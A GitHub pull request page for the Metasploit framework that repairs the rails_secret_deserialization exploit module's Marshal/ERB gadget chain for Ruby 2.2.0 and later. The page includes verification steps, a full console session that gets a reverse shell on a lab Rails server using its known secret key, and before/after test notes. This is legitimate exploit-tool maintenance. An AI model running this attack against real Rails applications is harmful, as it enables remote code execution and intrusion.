Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix rails_secret_deserialization popchain (ERB @lineno) #7304

Conversation

justinsteven
Copy link
Contributor

@justinsteven justinsteven commented Sep 13, 2016

ERB changed as per ruby/ruby@e82f4195d4 which broke the popchain used for code execution. This ERB landed in Ruby 2.2.0.

Fleshing out the Marshalled objects to include an @lineno attribute for the ERB object makes the ERB part of the popchain happy again on Ruby >= 2.2.0. It still works against Ruby < 2.2.0 in my testing.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/multi/http/rails_secret_deserialization
  • set RHOST, RPORT, RAILSVERSION, SSL, SECRET, COOKIE_NAME, TARGETURI, and a payload with options
  • Verify still gets a shell on one or more combinations of: Ruby <2.2.0 with either Rails 3 or Rails 4
  • Verify now gets a shell on one or more combinations of: Ruby >=2.2.0 with either Rails 3 or Rails 4

Sample - Ruby 2.2.0, Rails 4.2.7.1

msf > use exploit/multi/http/rails_secret_deserialization
msf exploit(rails_secret_deserialization) > set RHOST 172.18.0.2
RHOST => 172.18.0.2
msf exploit(rails_secret_deserialization) > set RPORT 3000
RPORT => 3000
msf exploit(rails_secret_deserialization) > set RAILSVERSION 4
RAILSVERSION => 4
msf exploit(rails_secret_deserialization) > set SSL false
SSL => false
msf exploit(rails_secret_deserialization) > set SECRET b6bc88adec1192ab59b80d9d5de28171d5d238fc097ca7eadeaffabcae9c36c97503f0625f3c2d029fba5daea579acaa876bf72caae879645328580d3454f2c6
SECRET => b6bc88adec1192ab59b80d9d5de28171d5d238fc097ca7eadeaffabcae9c36c97503f0625f3c2d029fba5daea579acaa876bf72caae879645328580d3454f2c6
msf exploit(rails_secret_deserialization) > set COOKIE_NAME _blog_session
COOKIE_NAME => _blog_session
msf exploit(rails_secret_deserialization) > set TARGETURI /sesstest/index
TARGETURI => /sesstest/index
msf exploit(rails_secret_deserialization) > set PAYLOAD ruby/shell_reverse_tcp
PAYLOAD => ruby/shell_reverse_tcp
msf exploit(rails_secret_deserialization) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(rails_secret_deserialization) > set LPORT 4444
LPORT => 4444
msf exploit(rails_secret_deserialization) > show options

Module options (exploit/multi/http/rails_secret_deserialization):

   Name             Current Setting                                                                                                                   Required  Description
   ----             ---------------                                                                                                                   --------  -----------
   COOKIE_NAME      _blog_session                                                                                                                     no        The name of the session cookie
   DIGEST_NAME      SHA1                                                                                                                              yes       The digest type used to HMAC the session cookie
   HTTP_METHOD      GET                                                                                                                               yes       The HTTP request method (GET, POST, PUT typically work)
   Proxies                                                                                                                                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RAILSVERSION     4                                                                                                                                 yes       The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)
   RHOST            172.18.0.2                                                                                                                        yes       The target address
   RPORT            3000                                                                                                                              yes       The target port
   SALTENC          encrypted cookie                                                                                                                  yes       The encrypted cookie salt
   SALTSIG          signed encrypted cookie                                                                                                           yes       The signed encrypted cookie salt
   SECRET           b6bc88adec1192ab59b80d9d5de28171d5d238fc097ca7eadeaffabcae9c36c97503f0625f3c2d029fba5daea579acaa876bf72caae879645328580d3454f2c6  yes       The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)
   SSL              false                                                                                                                             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /sesstest/index                                                                                                                   yes       The path to a vulnerable Ruby on Rails application
   VALIDATE_COOKIE  true                                                                                                                              no        Only send the payload if the session cookie is validated
   VHOST                                                                                                                                              no        HTTP server virtual host


Payload options (ruby/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(rails_secret_deserialization) > exploit

[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Checking for cookie _blog_session
[*] Found cookie, now checking for proper SECRET
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _blog_session
[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:38116) at 2016-09-13 21:36:02 +1000

uname
Linux
^C
Abort session 1? [y/N]  y

[*] 172.18.0.2 - Command shell session 1 closed.  Reason: User exit

Release Notes

rails_secret_deserialization exploit was broken due to ERB changes that were introduced with Ruby 2.2.0. This fix adds support for Ruby >=2.2.0 by fleshing out the Marshalled objects to include a @lineno attribute.

ERB changed as per <ruby/ruby@e82f4195d4>
which broke the popchain used for code execution.
@justinsteven
Copy link
Contributor Author

Damn. Hit submit too early.

My test notes:

Pre-patch

          ruby 2.1.8    |   ruby 2.2.0 *
rails ~>3       1                0***
rails ~>4       1**              0****

* note: installing ruby 2.2.0 via RVM on Debian required patch as per rvm/rvm#3548

** note: requires Rails.application.config.action_dispatch.cookies_serializer = :hybrid

*** note: fails with:

TypeError (no implicit conversion from nil to integer):
/home/justin/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/erb.rb:863:in `eval'
/home/justin/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/erb.rb:863:in `result'
activesupport (3.2.22.4) lib/active_support/deprecation/proxy_wrappers.rb:53:in `target'
activesupport (3.2.22.4) lib/active_support/deprecation/proxy_wrappers.rb:24:in `method_missing'
<... SNIP ...>

**** note: fails with:

ActionView::Template::Error: no implicit conversion from nil to integer
        from /home/justin/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/erb.rb:863:in `eval'
        from /home/justin/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/erb.rb:863:in `result'
        from /home/justin/.rvm/gems/ruby-2.2.0/gems/activesupport-4.2.7.1/lib/active_support/deprecation/proxy_wrappers.rb:88:in `t
        from /home/justin/.rvm/gems/ruby-2.2.0/gems/activesupport-4.2.7.1/lib/active_support/deprecation/proxy_wrappers.rb:24:in
`method_missing'
<... SNIP ...>

Post-patch

          ruby 2.1.8    |   ruby 2.2.0 *
rails ~>3      1                  1
rails ~>4      1**                1**

* note: installing ruby 2.2.0 via RVM on Debian required patch as per rvm/rvm#3548

** note: requires Rails.application.config.action_dispatch.cookies_serializer = :hybrid

@busterb
Copy link
Member

busterb commented Sep 13, 2016

Awesome, we were just looking at this yesterday.

@bwatters-r7
Copy link
Contributor

Hey- just a quick lookover on this; it looks like the failed checks are based on trailing whitespace characters on lines 205 and 216. (I don't even think that was your code, but changing that should fix the red 'x' on the PR testing).

trailing whitespace
@justinsteven
Copy link
Contributor Author

Heh. Indeed... Totally not my code... 😅

Thanks @bwatters-r7

@acammack-r7 acammack-r7 self-assigned this Sep 20, 2016
@lsato-r7 lsato-r7 assigned lsato-r7 and unassigned acammack-r7 Sep 20, 2016
@lsato-r7 lsato-r7 merged commit ff1c839 into rapid7:master Sep 20, 2016
@wvu
Copy link
Contributor

wvu commented Sep 20, 2016

Good job, @lsato-r7.

@lsato-r7
Copy link
Contributor

lsato-r7 commented Sep 20, 2016

Release Notes

The Rails secret deserialization exploit was broken due to ERB changes that were introduced with Ruby 2.2.0. This fix adds support for Ruby >=2.2.0 by fleshing out the Marshalled objects to include a @lineno attribute.

@tdoan-r7 tdoan-r7 added the rn-fix release notes fix label Dec 5, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug module rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

8 participants